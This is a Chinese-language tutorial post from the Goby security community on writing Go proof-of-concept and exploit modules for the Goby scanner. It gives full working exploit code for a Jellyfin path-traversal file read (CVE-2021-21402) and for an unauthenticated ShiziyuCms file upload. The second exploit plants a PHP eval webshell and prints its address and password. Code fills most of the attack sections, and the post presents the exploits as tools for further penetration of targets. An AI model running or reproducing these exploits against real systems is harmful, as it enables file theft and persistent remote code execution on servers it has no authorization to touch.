技术分享 | 快速上手 Golang 编写 PoC&EXP

GobySec  49天前

封面.png

Goby社区第15 篇技术分享文章

全文共:16653    预计阅读时间:30 分钟


前言:曾经大部分师傅都是使用的是 Goby 的 Json格式编写,Goby 开放 Golang 后, 补充了 Json 格式部分扩展性的不足,这篇文章就简单讲讲 Golang的 EXP/POC 的编写,帮助师傅们快速上手。


0×001 编写 PoC/EXP 前所需


Golang 语言基础 :

https://www.runoob.com/go/go-tutorial.html

image-20210603161855456.png

Goby 漏洞编写指南:

https://github.com/gobysec/Goby/wiki/Vulnerability-writing-guide

image-20210603161918810.png

Goby 漏洞提交专版:

https://mp.weixin.qq.com/s/HGl2tIkpmtVrEjlYQgIl6g

image-20210603161940938.png

0×002 PoC 与 Goby POC 的对比


POC 使用 Python 编写

    def POC_1(target_url):
        vuln_url = target_url + "/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        }
        try:
            requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
            response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
            if response.status_code == 200 and "file" in response.text and "extension" in response.text and "font" in response.text:
                print("\033[32m[o] 目标 {} 存在漏洞(读取 windows/win.ini), 链接为:{} \033[0m".format(target_url, vuln_url))
            else:
                print("\033[31m[x] 目标 {} 不存在漏洞 \033[0m".format(target_url))
        except Exception as e:
            print("\033[31m[x] 目标 {} 请求失败 \033[0m".format(target_url))

    PoC 使用 Goby 框架编写

      func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
            uri := "/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"
            cfg := httpclient.NewGetRequestConfig(uri)
            cfg.VerifyTls = false
            cfg.FollowRedirect = false
            cfg.Header.Store("Content-type", "application/x-www-form-urlencoded")
            if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil {
                return resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "[extensions]") && strings.Contains(resp.Utf8Html, "[fonts]")
            }
            return false
          }

      相比之下 Goby 中的验证框架 编写者只需要填入漏洞字段、请求头以及响应判断即可,减少了代码编写量和验证所花费的时间。

      最重要的一点则是测试过程中涉及的资产一般是很多的,在不清楚目标指纹的一些情况下,盲目使用 PoC 对多个目标验证是没有很多意义的。

      而在Goby 中编写 EXP 则拥有对多个目标的指纹识别以及拥有扩展性的 EXP 编写,可以在多个资产中准确定位漏洞点,减少发现突破点的时间和精力。

      image-20210608184444205.png

      0×003 编写介绍


      3.1 漏洞描述字段

      这里使用官方的模板简单了解下几个漏洞描述字段的填写。

        package exploits
        
        import (
          "git.gobies.org/goby/goscanner/goutils"
        )
        
        func init() {
          expJson := `{
          "Name": "",
          "Description": "",
          "Product": "",
          "Homepage": "",
          "DisclosureDate": "2021-05-27",
          "Author": "",
          "FofaQuery": "",
          "Level": "",
          "Impact": "",
          "Recommendation": "",
          "References": [
            "http://fofa.so"
          ],
          "HasExp": false,
          "ExpParams": null,
          "ExpTips": {
            "Type": "",
            "Content": ""
          },
          "ScanSteps": [
            "AND",
            {
              "Request": {
                "data": "",
                "data_type": "text",
                "follow_redirect": true,
                "method": "GET",
                "uri": "/"
              },
              "ResponseTest": {
                "checks": [
                  {
                    "bz": "",
                    "operation": "==",
                    "type": "item",
                    "value": "200",
                    "variable": "$code"
                  }
                ],
                "operation": "AND",
                "type": "group"
              }
            }
          ],
          "ExploitSteps": null,
          "Tags": null,
          "CVEIDs": null,
          "CVSSScore": "0.0",
          "AttackSurfaces": {
            "Application": null,
            "Support": null,
            "Service": null,
            "System": null,
            "Hardware": null
          }
        }`
        
          ExpManager.AddExploit(NewExploit(
            goutils.GetFileName(),
            expJson,
            nil,
            nil,
          ))
        }
        名称含义
        Name漏洞名称,例如: xxx OA xxx.php RCE (需要注意的是整个 EXP 中是不允许出现中文的,以下字段同样)
        Description漏洞描述,例如: The attacker can obtain the sensitive information of the server through directory traversal
        Product漏洞对应产品,例如: xxx OA
        Homepage漏洞对用产品的主页,例如: http://www.xxx.com
        DisclosureDate漏洞披露时间,格式为 yyyy-mm-dd,例如: 2021-05-17
        AuthorPoC & Exp 作者, 例如: PeiQi
        GobyQuery漏洞对应产品的资产查询规则, 例如: app="xxx OA" (这里的指纹并不是FOFA的指纹,而是Goby识别的指纹)
        Level漏洞等级,0 代表低危、1 代表中卫、2 代表高危、3 代表严重
        Impact漏洞产生的影响
        Recommendation漏洞修复建议
        References漏洞参考链接
        HasExp是否录入 Exp,值为 true 或 false (打开EXP模式)
        ExpParamsExp 需要传入的参数
        ScanStepsJSON 格式定义漏洞 PoC 逻辑
        ExploitStepsJSON 格式定义漏洞 Exp 逻辑
        Tags漏洞类型,值为 rce(远程代码执行)、fileread(文件读取)、sqli(SQL 注入)、defaultaccount(默认口令)、infoleak(信息泄露)
        CVEIDsCVE 漏洞编号,格式为 ["CVE-2021-0001", "CVE-2021-1000"]
        CVSSScoreCVSS 漏洞评分
        AttackSurfaces漏洞对应产品的系统层级,如 GitLab 是一个 Web 应用,填到 Application 层;Struts2 是一个 Web 开发框架,填到 Support 层;Tomcat 是 Web 服务程序,填到 Service 层;Ubuntu 是操作系统,填到 System 层;FUJI-XEROX-Printer 是打印机,填到 Hardware 层

        其中需要重点填写的参数为:GobyQuery , HasExp, ExpParams

        例如 Goby 扫描出的指纹为下图, 则 GobyQuery 填入: ("GobyQuery": "app=\"kingdee-EAS\"")

        注: 语句中 " 是需要转义的,即 \"

        image-20210603163204163.png

        HasEXP 和 ExpParams 则通过后文的例子来了解详细用法。

        3.2 goby-cmd.exe 验证

        当编写好了 EXP 后,可以使用 goby-cmd.exe 来验证漏洞( golib目录下 )。主要用于漏洞编写的有四条语句。

          # 使用 CVE 编号获取漏洞数据并自动填写到漏洞模板,若没有 CVEID 可省略
          ./goby-cmd -mode genpoc -CVEID CVE-2021-21380 -exportFile a.go
          # 支持通过代理获取漏洞数据
          ./goby-cmd -mode genpoc -CVEID CVE-2021-21380 -exportFile a.go -proxy http://127.0.0.1:1080
          
          # 运行已经编写完成的漏洞文件,使用 PoC 扫描
          ./goby-cmd -mode runpoc -operation scan -pocFile exploits\user\a.go -target 127.0.0.1
          # 运行已经编写完成的漏洞文件,执行 Exp 利用,并传递 cmd 参数的值
          ./goby-cmd -mode runpoc -operation exploit -pocFile exploits\user\a.go -target 127.0.0.1 -params '{"cmd":"whoami"}'
          

          0×004 漏洞编写


          4.1 任意文件读取漏洞编写

          这里使用 Jellyfin 任意文件读取漏洞 (CVE-2021-21402) 来作为一个例子,这里涉及使用 Goby 的一次发包验证漏洞。由于是 CVE 漏洞,这里可以使用公开的信息填写基本漏洞信息模板。

            goby-cmd -mode genpoc -CVEID CVE-2021-21402 -exportFile exploits\user\Jellyfin_Audio_File_read_CVE_2021_21402.go

            image-20210603172149549.png

            执行后在  exploits\user 目录中就可以看到生产的 PoC 模板了,生成后还需要填写如下图几个字段完善文件 (FofaQuery不必要,可以不填)。

            image-20210603172548303.png

            通过扫描获取目标的 Goby 指纹。

            image-20210603174541178.png

              "GobyQuery": "title=\"Jellyfin\"",

              最终完成的效果为, 这里的 import 为常引用的包, 需要添加进去。

                package exploits
                
                import (
                  "git.gobies.org/goby/goscanner/goutils"
                  "git.gobies.org/goby/goscanner/jsonvul"
                  "git.gobies.org/goby/goscanner/scanconfig"
                  "git.gobies.org/goby/httpclient"
                  "strings"
                    "fmt"
                )
                
                func init() {
                  expJson := `{
                  "Name": "Jellyfin Audio File read (CVE-2021-21402)",
                  "Description": "Jellyfin is a Free Software Media System. In Jellyfin before version 10.7.1, with certain endpoints, well crafted requests will allow arbitrary file read from a Jellyfin server's file system. This issue is more prevalent when Windows is used as the host OS. Servers that are exposed to the public Internet are potentially at risk. This is fixed in version 10.7.1. As a workaround, users may be able to restrict some access by enforcing strict security permissions on their filesystem, however, it is recommended to update as soon as possible.",
                  "Product": "Jellyfin",
                  "Homepage": "https://jellyfin.org/",
                  "DisclosureDate": "2021-03-23",
                  "Author": "PeiQi",
                  "GobyQuery": "title=\"Jellyfin\"",
                  "Level": "2",
                  "Impact": "fileread",
                  "Recommendation": "Update patches in time",
                  "References": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21402",
                  "RealReferences": [
                    "https://github.com/jellyfin/jellyfin/commit/0183ef8e89195f420c48d2600bc0b72f6d3a7fd7",
                    "https://github.com/jellyfin/jellyfin/releases/tag/v10.7.1",
                    "https://github.com/jellyfin/jellyfin/security/advisories/GHSA-wg4c-c9g9-rxhx",
                    "https://nvd.nist.gov/vuln/detail/CVE-2021-21402",
                    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21402"
                  ],
                  "HasExp": null,
                  "ExpParams": null,
                  "ExpTips": {
                    "Type": "",
                    "Content": ""
                  },
                  "ScanSteps": [
                    "AND",
                    {
                      "Request": {
                        "data": "",
                        "data_type": "text",
                        "follow_redirect": true,
                        "method": "GET",
                        "uri": "/"
                      },
                      "ResponseTest": {
                        "checks": [
                          {
                            "bz": "",
                            "operation": "==",
                            "type": "item",
                            "value": "200",
                            "variable": "$code"
                          }
                        ],
                        "operation": "AND",
                        "type": "group"
                      }
                    }
                  ],
                  "ExploitSteps": null,
                  "Tags": ["File read"],
                  "CVEIDs": [
                    "CVE-2021-21402"
                  ],
                  "CVSSScore": "6.5",
                  "AttackSurfaces": {
                    "Application": ["Jellyfin"],
                    "Support": null,
                    "Service": null,
                    "System": null,
                    "Hardware": null
                  },
                  "Disable": false
                }`
                
                  gopoc.ExpManager.AddExploit(gopoc.NewExploit(
                    goutils.GetFileName(),
                    expJson,
                    nil,
                    nil,
                  ))
                }

                接下来需要编写 PoC 字段,首先我们需要知道漏洞的发包逻辑。

                这个漏洞我们得知需要的请求为。

                  GET /Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/


                  微信图片_20210609183041.png

                  其中 PoC & EXP 主要代码模块模板如下:

                    ExpManager.AddExploit(NewExploit(
                        goutils.GetFileName(),
                        expJson,
                        func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
                          return false
                        },
                        func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
                          return expResult
                        },
                      ))

                    这里通过已经填写好的 PoC 来了解参数字段。

                    根据上面的请求包也可以发现 uri 为漏洞请求,而 cfg 则用于 header 头等配置的添加。

                      func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
                            uri := "/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"
                            cfg := httpclient.NewGetRequestConfig(uri)
                            cfg.VerifyTls = false
                            cfg.FollowRedirect = false
                            cfg.Header.Store("Content-type", "application/x-www-form-urlencoded")
                            if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil {
                                  return resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "[extensions]") && strings.Contains(resp.Utf8Html, "[fonts]")
                                }
                                return false
                          },
                      名称含义
                      uri请求漏洞点的访问路径
                      httpclient.NewGetRequestConfig发送 GET 请求
                      httpclient.NewPostRequestConfig发送 POST 请求
                      cfg.VerifyTls忽略证书,常用字段
                      cfg.FollowRedirect不跟随网页跳转
                      cfg.Header.Store添加请求头,如 Content-type 等
                      cfg.DataPOST 请求传输的数据 例如 cfg.Data = "Data"
                      httpclient.DoHttpRequest(u, cfg)通过填写的 cfg uri 发送定义的请求
                      resp.StatusCode发送请求返回的响应码
                      resp.Utf8Html发送请求返回的响应
                      resp.Heade.Get("Cookie")获取发送请求返回的响应中的Cookie字段

                      其中用于判断漏洞是否存在的代码为

                        return resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "[extensions]") && strings.Contains(resp.Utf8Html, "[fonts]")


                        这里的意义为 响应码为 200 且 响应中 包含 win.ini 文件的 [extensions]  和 [fonts] 字符串 则返回 true ,验证为漏洞存在。

                          goby-cmd.exe -mode runpoc -operation scan -pocFile exploits\user\Jellyfin_Audio_File_read_CVE_2021_21402.go -target http://xxx.xxx.xxx.xxx

                          image-20210603184105396.png

                          这里我们已经完成了 PoC 字段已经可以用于目标的扫描并测试出漏洞,但是我们需要开启EXP模块,一方面是通过验证防止误报的情况,另一方面是方便自身对目标进一步渗透,首先需要将 HasExp 设置为 true 就可以开启 Goby 的 EXP 验证模式。

                          这里通过已经填写好的 EXP 来了解参数字段。

                            "HasExp": true,
                            "ExpParams": [
                                {
                                  "name": "File",
                                  "type": "input",
                                  "value": "windows/win.ini"
                                }
                            ],
                            名称含义
                            HasExp设置为 true 则为开启 EXP模块
                            "type": "input"用户手动输出 payload
                            "type": "select"用户允许在几个选择中发送特定的payload
                            "value": "windows/win.ini"EXP验证中的默认字段设置
                              func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
                                    file := ss.Params["File"].(string)
                                    file = strings.Replace(file, "/", "\\", -1)
                                    file = url.QueryEscape(file)
                                    uri := "/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5C" + file + "/stream.mp3/"
                                    cfg := httpclient.NewGetRequestConfig(uri)
                                    cfg.VerifyTls = false
                                    cfg.FollowRedirect = false
                                    cfg.Header.Store("Content-type", "application/x-www-form-urlencoded")
                                    if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil {
                                      if resp.StatusCode == 200 {
                                        expResult.Output = resp.Utf8Html
                                        expResult.Success = true
                                      }
                                    }
                                    return expResult
                              },
                              
                              // 注意一些模块导入时 需要在 import中添加相应的包
                              // "net/url"  Url编码
                              // "strings"  字符处理
                              // "fmt"    字符输出
                              // "regexp"    正则匹配


                              名称含义
                              file := ss.Params["File"].(string)获取 File 参数的字段
                              file = url.QueryEscape(file)Url 编码字符
                              fmt.Println(file)编写中用于调试脚本输出字符,完成后删除
                              httpclient.DoHttpRequest(expResult.HostInfo, cfg)发送 EXP 请求包
                              expResult.Output = resp.Utf8Html返回响应内容
                              expResult.Success = true表示成功验证漏洞

                              完成后测试,查看目标是否成功执行 EXP 读取 windows/win.ini 文件。

                              image-20210603193917999.png

                              完整的 EXP 如下:

                                package exploits
                                
                                import (
                                  "fmt"
                                  "git.gobies.org/goby/goscanner/goutils"
                                  "git.gobies.org/goby/goscanner/jsonvul"
                                  "git.gobies.org/goby/goscanner/scanconfig"
                                  "git.gobies.org/goby/httpclient"
                                  "net/url"
                                  "strings"
                                )
                                
                                func init() {
                                  expJson := `{
                                  "Name": "Jellyfin Audio File read (CVE-2021-21402)",
                                  "Description": "Jellyfin is a Free Software Media System. In Jellyfin before version 10.7.1, with certain endpoints, well crafted requests will allow arbitrary file read from a Jellyfin server's file system. This issue is more prevalent when Windows is used as the host OS. Servers that are exposed to the public Internet are potentially at risk. This is fixed in version 10.7.1. As a workaround, users may be able to restrict some access by enforcing strict security permissions on their filesystem, however, it is recommended to update as soon as possible.",
                                  "Product": "Jellyfin",
                                  "Homepage": "https://jellyfin.org/",
                                  "DisclosureDate": "2021-03-23",
                                  "Author": "PeiQi",
                                  "GobyQuery": "title=\"Jellyfin\"",
                                  "Level": "2",
                                  "Impact": "fileread",
                                  "Recommendation": "Update patches in time",
                                  "References": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21402",
                                  "RealReferences": [
                                    "https://github.com/jellyfin/jellyfin/commit/0183ef8e89195f420c48d2600bc0b72f6d3a7fd7",
                                    "https://github.com/jellyfin/jellyfin/releases/tag/v10.7.1",
                                    "https://github.com/jellyfin/jellyfin/security/advisories/GHSA-wg4c-c9g9-rxhx",
                                    "https://nvd.nist.gov/vuln/detail/CVE-2021-21402",
                                    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21402"
                                  ],
                                  "HasExp": true,
                                  "ExpParams": [
                                    {
                                      "name": "File",
                                      "type": "input",
                                      "value": "windows/win.ini"
                                    }
                                  ],
                                  "ExpTips": {
                                    "Type": "",
                                    "Content": ""
                                  },
                                  "ScanSteps": [
                                    "AND",
                                    {
                                      "Request": {
                                        "data": "",
                                        "data_type": "text",
                                        "follow_redirect": true,
                                        "method": "GET",
                                        "uri": "/"
                                      },
                                      "ResponseTest": {
                                        "checks": [
                                          {
                                            "bz": "",
                                            "operation": "==",
                                            "type": "item",
                                            "value": "200",
                                            "variable": "$code"
                                          }
                                        ],
                                        "operation": "AND",
                                        "type": "group"
                                      }
                                    }
                                  ],
                                  "ExploitSteps": null,
                                  "Tags": ["File read"],
                                  "CVEIDs": [
                                    "CVE-2021-21402"
                                  ],
                                  "CVSSScore": "6.5",
                                  "AttackSurfaces": {
                                    "Application": ["Jellyfin"],
                                    "Support": null,
                                    "Service": null,
                                    "System": null,
                                    "Hardware": null
                                  },
                                  "Disable": false
                                }`
                                
                                  ExpManager.AddExploit(NewExploit(
                                    goutils.GetFileName(),
                                    expJson,
                                    func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
                                      uri := "/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"
                                      cfg := httpclient.NewGetRequestConfig(uri)
                                      cfg.VerifyTls = false
                                      cfg.FollowRedirect = false
                                      cfg.Header.Store("Content-type", "application/x-www-form-urlencoded")
                                      if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil {
                                        return resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "[extensions]") && strings.Contains(resp.Utf8Html, "[fonts]")
                                      }
                                      return false
                                    },
                                    func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
                                      file := ss.Params["File"].(string)
                                      file = strings.Replace(file, "/", "\\", -1)
                                      file = url.QueryEscape(file)
                                      uri := "/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5C" + file + "/stream.mp3/"
                                      cfg := httpclient.NewGetRequestConfig(uri)
                                      cfg.VerifyTls = false
                                      cfg.FollowRedirect = false
                                      cfg.Header.Store("Content-type", "application/x-www-form-urlencoded")
                                      if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil {
                                        if resp.StatusCode == 200 {
                                          expResult.Output = resp.Utf8Html
                                          expResult.Success = true
                                        }
                                      }
                                      return expResult
                                    },
                                  ))
                                }


                                这里有一小段用于验证 EXP 是否成功, 返回包请求码为 200 则判定为成功,也可以通过 strings.Contains() 包含部分字段添加进一步的判定。

                                  if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil {
                                          if resp.StatusCode == 200 {
                                            expResult.Output = resp.Utf8Html
                                            expResult.Success = true
                                          }
                                        }


                                  为了进一步确认 EXP 没有问题,我们本地搭建环境使用 EXP 做漏洞验证。

                                  image-20210603194959349.png

                                  image-20210603195029769.png

                                  4.2 任意文件上传漏洞编写

                                  这里使用 狮子鱼CMS wxapp.php 任意文件上传漏洞 演示,完整的 EXP 为 (敏感部分已脱敏) :

                                    package exploits
                                    
                                    import (
                                      "crypto/md5"
                                      "fmt"
                                      "git.gobies.org/goby/goscanner/goutils"
                                      "git.gobies.org/goby/goscanner/jsonvul"
                                      "git.gobies.org/goby/goscanner/scanconfig"
                                      "git.gobies.org/goby/httpclient"
                                      "regexp"
                                      "strings"
                                    )
                                    
                                    func init() {
                                      expJson := `{
                                      "Name": "ShiziyuCms wxapp.php File update",
                                      "Description": "ShiziyuCms wxapp.php File update,Attackers can upload malicious files without authentication",
                                      "Product": "ShiziyuCms",
                                      "Homepage": "https://shiziyu.cc/",
                                      "DisclosureDate": "2021-03-23",
                                      "Author": "PeiQi",
                                      "GobyQuery": "body=\"/seller.php?s=/Public/login\"",
                                      "Level": "3",
                                      "Impact": "File upload",
                                      "Recommendation": "Update patches in time",
                                      "References": "http://wiki.peiqi.tech/",
                                      "RealReferences": [
                                        "http://wiki.peiqi.tech/PeiQi_Wiki"
                                      ],
                                      "HasExp": true,
                                      "ExpParams": null,
                                      "ExpTips": {
                                        "Type": "",
                                        "Content": ""
                                      },
                                      "ScanSteps": null,
                                      "ExploitSteps": null,
                                      "Tags": ["File update"],
                                      "CVEIDs": null,
                                      "CVSSScore": "0.0",
                                      "AttackSurfaces": {
                                        "Application": ["ShiziyuCms"],
                                        "Support": null,
                                        "Service": null,
                                        "System": null,
                                        "Hardware": null
                                      },
                                      "Disable": false
                                    }`
                                    
                                      ExpManager.AddExploit(NewExploit(
                                        goutils.GetFileName(),
                                        expJson,
                                        func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
                                          randomStr := goutils.RandomHexString(8)
                                          uri := "/wxapp.php?controller=[redacted]"
                                          cfg := httpclient.NewPostRequestConfig(uri)
                                          cfg.VerifyTls = false
                                          cfg.FollowRedirect = false
                                          cfg.Header.Store("Content-type", "multipart/form-data; boundary=----WebKitFormBoundary8UaANmWAgM4BqBSs")
                                          cfg.Data = "------WebKitFormBoundary8UaANmWAgM4BqBSs\r\nContent-Disposition: form-data; name=\"[redacted]\"; filename=\"test.php\"\r\nContent-Type: image/gif\r\n\r\n<?php echo md5('" + randomStr + "');unlink(__FILE__);?>\r\n------WebKitFormBoundary8UaANmWAgM4BqBSs-"
                                          if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil {
                                            if resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "image_o"){
                                              addr := regexp.MustCompile(`\\/Uploads(.*?).php`).FindAllString(resp.Utf8Html, 2)[1]
                                              addr = strings.Replace(addr, "\\/", "/", -1)
                                              cfg_1 := httpclient.NewGetRequestConfig(addr)
                                              cfg_1.VerifyTls = false
                                              cfg_1.FollowRedirect = false
                                              if resp, err := httpclient.DoHttpRequest(u, cfg_1); err == nil {
                                                return resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, fmt.Sprintf("%x", md5.Sum([]byte(randomStr))))
                                              }
                                            }
                                          }
                                          return false
                                        },
                                        func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
                                          randomStr := goutils.RandomHexString(8)
                                          uri := "/wxapp.php?controller=[redacted]"
                                          cfg := httpclient.NewPostRequestConfig(uri)
                                          cfg.VerifyTls = false
                                          cfg.FollowRedirect = false
                                          cfg.Header.Store("Content-type", "multipart/form-data; boundary=----WebKitFormBoundary8UaANmWAgM4BqBSs")
                                          cfg.Data = "------WebKitFormBoundary8UaANmWAgM4BqBSs\r\nContent-Disposition: form-data; name=\"[redacted]\"; filename=\"test.php\"\r\nContent-Type: image/gif\r\n\r\n<?php @eval($_REQUEST['" + randomStr + "']);?>\r\n------WebKitFormBoundary8UaANmWAgM4BqBSs-"
                                          if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil {
                                            if resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "image_o"){
                                              addr := regexp.MustCompile(`\\/Uploads(.*?).php`).FindAllString(resp.Utf8Html, 2)[1]
                                              addr = strings.Replace(addr, "\\/", "/", -1)
                                              expResult.Output = "Webshell Addr: " + expResult.HostInfo.FixedHostInfo + addr + "\r\n\r\nWebshell Pass: " + randomStr
                                              expResult.Success = true
                                            }
                                          }
                                          return expResult
                                        },
                                      ))
                                    }

                                    这里注意几个需要注意的代码

                                    名称含义
                                    randomStr := goutils.RandomHexString(8)随机生成 8位 字符串
                                    <?php echo md5('" + randomStr + "');unlink(__FILE__);?>上传输出随机 MD5 值的文件,访问后自动删除
                                    expResult.Output = "xxx" + "xxx"其中自定义 webshell路径,webshell密码的输出语句

                                    EXP 使用效果如下

                                    image-20210603235653646.png

                                    0×005 总结

                                    Goby 中使用 Golang 语言作为漏洞验证,扩展性相对于 Json 扩展性更高,这里只是对于新手而言快速了解 EXP 的写法和请求参数

                                    至于更多的玩法可以参考 Goby 的 WIKI:

                                    https://github.com/gobysec/Goby/wiki/Vulnerability-writing-guide

                                    image-20210604101749426.png

                                    如果表哥/表姐也想把自己上交给社区(Goby介绍/扫描/口令爆破/漏洞利用/插件开发/PoC编写等文章均可,欢迎投稿到我们公众号,超级内测版等着你们~~~


                                    文章来自Goby社区成员:PeiQi,转载请注明出处。

                                    下载Goby内测版,请关注微信公众号:GobySec

                                    下载Goby正式版,请关注网址:https://gobies.org/

                                    最新评论

                                    昵称
                                    邮箱
                                    提交评论